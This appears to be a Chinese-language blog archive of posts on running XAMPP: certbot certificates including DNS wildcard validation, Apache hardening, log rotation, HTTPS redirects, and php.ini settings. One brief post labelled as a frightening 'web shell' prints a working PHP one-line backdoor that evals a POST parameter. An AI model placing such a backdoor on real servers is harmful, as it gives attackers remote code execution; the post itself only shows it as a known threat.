顯示具有 XAMPP 標籤的文章。 顯示所有文章
顯示具有 XAMPP 標籤的文章。 顯示所有文章

2020年8月1日 星期六

用certbot取得憑證

用 Certbot 取得憑證前,必須先在主機安裝 certbot。

取得單一網域名稱之憑證:
在電腦上沒有安裝或啟動web server的情況下,執行:

certbot certonly --standalone

之後輸入要申請的網域名稱,如果成功即可取得憑證。

取的網域名稱下全部名稱之憑證(wildcard):
申請此類憑證,必須擁有DNS內容的管理權限,才可通過檢核。
執行:

certbot certonly --manual --agree-tos -d "*.your.domain" -d your.domain --email email@your.domain --preferred-challenges dns --manual-public-ip-logging-ok --server https://acme-v02.api.letsencrypt.org/directory

之後會要求在DNS中新增一筆TXT紀錄,如:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please deploy a DNS TXT record under the name
_acme-challenge.your.domain with the following value:

ngXxX_D-aIJkc8q7dgnMEzSBuWCgmvAurP8sshgA40Y

Before continuing, verify the record is deployed.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
之後依照指示在DNS中加入_acme-challenge.your.domain的TXT紀錄,如內容所示,確定可以查詢到該筆TXT紀錄後,即可按下enter,如果成功即可取得憑證。
如果 domain 有兩筆以上,會分別顯示多個TXT紀錄,請同時將多個TXT紀錄加到DNS中。

憑證的效期均為90天。

2020年7月8日 星期三

Web shell

可怖的 Web shell ...

有人稱做 PHP 一句話木馬 ...

<?php @eval($_POST['mingchuan']);?> 

2018年2月24日 星期六

XAMPP 更新...

修正httpd.conf下列內容:

  1.  取消目錄瀏覽
  2. 將logs定時roration

取消目錄瀏覽,找到:
<Directory "D:/xampp/htdocs">
Options Indexes FollowSymLinks Includes ExecCGI
AllowOverride All
Require all granted
</Directory>

刪除其中的 Options 改成
<Directory "D:/xampp/htdocs">
Options FollowSymLinks
AllowOverride All
Require all granted
</Directory>

將logs做rotation
ErrorLog "|D:/xampp/apache/bin/rotatelogs.exe D:/xampp/apache/logs/error-%Y%m%d.log 86400"
CustomLog "|D:/xampp/apache/bin/rotatelogs.exe D:/xampp/apache/logs/access-%Y%m%d.log 86400" combined

將 / 重導至 HTTPS
<If "%{HTTP_HOST} != 'www.sclai.tk'">
    Redirect "/" "https://www.sclai.tk/"
</If>

<If "%{HTTPS} != 'on'">
    Redirect "/" "https://www.sclai.tk/"
</If>

修正httpd-ssl.conf下列內容:

  1. 將logs定時rotation
  2. #ErrorLog "D:/xampp729/apache/logs/error.log"
    ErrorLog "|D:/xampp729/apache/bin/rotatelogs.exe D:/xampp729/apache/logs/error-%Y%m%d.log 86400"

    #TransferLog "D:/xampp729/apache/logs/access.log"
    TransferLog "|D:/xampp729/apache/bin/rotatelogs.exe D:/xampp729/apache/logs/access-%Y%m%d.log 86400"

    #CustomLog "D:/xampp729/apache/logs/ssl_request.log" \
              "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
    CustomLog "|D:/xampp729/apache/bin/rotatelogs.exe D:/xampp729/apache/logs/ssl_request-%Y%m%d.log 86400" \
              "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

  3. 調整ServerName及ServerAdmin
  4. #ServerName www.example.com:443
    #ServerAdmin admin@example.com
    ServerName www.myname.com:443
    ServerAdmin nobody@gmail.com

  5. 配合sslforfree調整憑證檔案(全部憑證置放於conf/sslforfree/目錄下)
  6. #SSLCertificateFile "conf/ssl.crt/server.crt" SSLCertificateFile "conf/sslforfree/certificate.crt"

    #SSLCertificateKeyFile "conf/ssl.key/server.key" SSLCertificateKeyFile "conf/sslforfree/private.key" SSLCACertificateFile "conf/sslforfree/ca_bundle.crt"

修正php.ini的下列內容:

  1.  設定 PHP 的時區
  2. 開啟imap extension

設定PHP的時區
找到
[Date] ;date.timezone =

改成
[Date] date.timezone = "Asia/Taipei"

或者在 php 中加入:
date_default_timezone_set("Asia/Taipei");

就可以確保時區的正確性。

開啟imap extension
找到
;extension=imap

改成
extension=imap

2018年2月17日 星期六

Apache logs rotation

XAMPP中apache的(\xampp\apache\logs]) access log和error log會隨時間增長,
可利用 (\xampp\apache\bin\) rotatelogs.exe 來 rotate log:

修改 (\xampp\apache\conf\) httpd.conf,運用 rotatelogs.exe 每 86400 秒產生一個檔案:
#ErrorLog "logs/error.log"
ErrorLog "|D:/xampp/apache/bin/rotatelogs.exe D:/xampp/apache/logs/error-%Y%m%d.log 86400"

#CustomLog "logs/access.log" combined
CustomLog "|D:/xampp/apache/bin/rotatelogs.exe D:/xampp/apache/logs/access-%Y%m%d.log 86400" combined

如啟用SSL,須同步修改 http-ssl.conf:
#ErrorLog "D:/xampp/apache/logs/error.log"
ErrorLog "|D:/xampp/apache/bin/rotatelogs.exe D:/xampp/apache/logs/error-%Y%m%d.log 86400"

#TransferLog "D:/xampp/apache/logs/access.log"
TransferLog "|D:/xampp/apache/bin/rotatelogs.exe D:/xampp/apache/logs/access-%Y%m%d.log 86400"

#CustomLog "D:/xampp/apache/logs/ssl_request.log" \
          "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
CustomLog "|D:/xampp/apache/bin/rotatelogs.exe D:/xampp/apache/logs/ssl_request-%Y%m%d.log 86400" \

          "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"